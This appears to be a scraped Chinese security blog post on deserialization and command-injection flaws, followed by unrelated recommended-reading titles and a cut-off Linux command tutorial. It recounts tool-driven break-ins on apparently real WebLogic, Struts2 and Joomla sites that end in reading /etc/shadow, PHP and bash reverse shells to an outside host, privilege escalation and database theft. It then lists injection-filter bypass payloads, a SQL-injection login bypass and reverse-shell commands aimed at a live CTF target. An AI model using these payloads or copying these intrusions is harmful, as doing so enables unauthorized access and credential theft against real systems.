在php中,序列化过程中会涉及两个魔术方法,__sleep()和__wakeup(),serialize() 检查类中是否有魔术名称 __sleep 的函数,如果有,则该函数在序列化之前运行,它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。如果该函数没有返回什么数据,则不会有什么数据被序列化,并且会发出一个 E_NOTICE 错误。unserialize()检查具有魔术名称 __wakeup 的方法的存在,如果有,一样先运行该方法。但对于传入的序列化字符串,如果有错误,在进行反序列化的时候就会不触发 __wakeup() 这个方法,从而绕过该方法中的限制,造成漏洞。
合天网安实验室PHP反序列漏洞实验主页:http://www.hetianlab.com/expc.do?ce=b8cb1c08-5330-4766-a44e-89dd54cae1d1
抛开具体涉及到语言、函数,我们用通俗易懂的话的说,序列化就是从A-》B的过程,这是不会出问题的,有可能出问题的地方出在B-》A,在这个过程中伟大的代码审计牛人们发现了漏洞,使得B+N-》C,而不是B-》A,由此引发了漏洞,这种漏洞被称作反序列化漏洞。
那么用专业些的话来说,是什么意思呢?我们需要在进行反序列化的地方传入攻击者的序列化代码,以此来利用漏洞
流行的语言如PHP、Java都存在反序列化漏洞,由这些语言开发的知名的组件ImageMagick、Weblogic、Struts2等当然不可避免地会存在反序列化漏洞,本文要展现的第一枚漏洞就是java反序列化漏洞引发的。
我们说的理论好像很高深似的,其实挖洞的时候大多数人都是直接上工具的,像用burp挖通用型漏洞,bugscan、pocsuite挖事件型漏洞都是很常见的套路。But,由于java的反序列化问题实在太严重,看不下去的师傅们就写了各种各样的工具方便管理员检测自己的漏洞(也方便了白帽子挖洞)。这里展示的几个漏洞就是用工具挖出来的。
首先我们找到网站的后台:
那段时间weblogic的反序列化漏洞很火,直接上工具
发现还真存在这个漏洞,上图我们执行了whoami
我们可以再看看别的命令
比如ifconfig
上面介绍了weblogic的,我们再来看一个struts2的漏洞
首先找到web页面
用工具K8测试了下发现存在漏洞
Whoami查看权限发现是root
再用netstat –an查看下端口等信息
Ifconfig看看网络设备
都任意执行命令了,不看看帐号管理两个最重要的档案?
先/passwd看看用户口令
再/shadow看看所有用户的密码
以上介绍了两个Java命令执行的漏洞,我们再来介绍个php反序列化导致命令执行的漏洞,这个漏洞存在于joomla中。这个漏洞准确的说并不是命令执行的功劳,不过它是通过php反序列化的命令执行漏洞才进行更深一步的渗透的,所以我还是在这里列了出来。
碰到一个joomla的网站
拿起脚本直接上
大体流程就是检测是否存在漏洞-》存在漏洞则exploit-》建立socket连接-》执行php“php-r \’$sock=fsockopen(“x.x.x.x”,10089);exec(“/bin/sh -i<&3 >&3 2>&3″);\’”来反弹shell
成功反弹shell
通过ubuntu提权获得root权限
进mysql看看
注意到此处存在一个远程的sqlserver数据库的连接
使用navicat成功连上
拿到数据了
###命令执行漏洞绕过技巧
1.命令执行和绕过tips1
测试: 0 | dir c:
代码只过滤了部分特殊字符,可以考虑用其他字符进行测试
(1)windows利用的特殊字符
| 直接执行后面的语句 : ping 127.0.0.1|whoami
|| 前面出错执行后面的 ,前面为假:ping 2 || whoami
& 前面的语句为假则直接执行后面的,前面可真可假 : ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 :
ping 127.0.0.1&&whoami
(2)Linux利用的特殊字符
; 前面的执行完执行后面的 : ping 127.0.0.1;whoami
| 管道符,显示后面的执行结果: ping 127.0.0.1|whoami
11 当前面的执行出错时执行后面的: ping 1||whoami
& 前面的语句为假则直接执行后面的,前面可真可假 : ping 127.0.0.1&whoami
&&前面的语句为假则直接出错,后面的也不执行,前面只能为真: ping 127.0.0.1&&whoami
(3)空格绕过
< 符号
%09 符号需要php环境,这里就不搭建啦,见谅)
$IFS$9 符号和${IFS} 符号
这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
(4)命令分隔符5种姿势
&符号:
& 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&’实现这个目的。进程切换到后台的时候,我们把它称为job。切换到后台时会输出相关job信息,这里36210就是该进程的PID
|符号:
管道符左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示
(5)命令终止符
%00
%20#
(需要php环境,这里就不搭建啦,见谅)
(6)黑名单绕过
a=l;b=s;$a$b
base64编码
(7)无回显的命令执行
这里先给一个bugku平台的靶机地址:http://47.93.190.246:49165/
这里第一步先用
username=0' union select 1,md5(1)#
password=1
绕过,就可以到命令执行界面然而尝试一下发现没有回显这里有3种方法
(1)第一种是利用bash命令并在本地进行nc监听结果查看回连日志,然后就行
先在vps处用nc进行监听
nc -l -p 8080 -vvv
然后在靶机命令执行处输入
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1
(2)第二种是msf反向回连
同样vps用msf监听
vps的msf监听:
use exploit/multi/handler
set payload linux/armle/shell/reverse_tcp
set lport 8080
set lhost xxx.xxx.xxx.xxx
set exitonsession false
exploit -j
然后在靶机命令执行处输入
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/80800>&1
即可getflag
(3)第三种是利用DNS管道解析
这里提供一个在线网址,可以直接进行给一个利用网址:
推荐阅读
CVE-2022-22965:修复了Spring Framework远程代码执行漏洞
如何保护Node.js代码:加密、混淆、编译和转为可执行文件
C代码 从源代码到可执行文件——编译全过程解析
Soul源码解析系列(3):揭秘插件如何被加载和执行的过程
代码执行效能深度解析
深入理解:setTimeout在同步、异步和回调中的执行顺序详解与经典闭包解析
禅道后台指令执行安全漏洞深度解析第二篇
重现CVE-2023-33246 命令执行漏洞研究与实操解析
执行命令解析
在 Linux 中操作指令指南 - 基本构造与种类
- 指令组成:
1. **主指令 + 选项 + 参数**: 如 `ls -l /home`,`main-action option object`
- 内置指令:系统预装的 shell 功能,如 `cd`, `pwd`
- 外部指令:独立可执行文件,直接用文件名当作命令,如 `rm`, `mv`
- **选项与参数**:
- 选项:定制命令行为, `-l` 或 `--long-help`
- 短选项:简写形式,例如 `-v` 和 `-V` 可能合并使用
- 长选项:详细描述的选项,如 `--version` 或 `--human-readable`
- 参数:命令作用的目标,如 `ls` 对 `/home` 目录的操作
- **指令应用**:
- 不同指令需要不同的参数
- 选项可带或不带参数,比如 `grep -i "keyword"` (忽略大小写搜索)
- 参数间通常用空格分隔,如 `cp file1 file2 file3`
- **中断与完成提示**:
- 终止当前指令:按下 Ctrl+C
- **自动完成**:
- 输入部分命令关键词后,按 Tab 键补全命令,如 `cp ta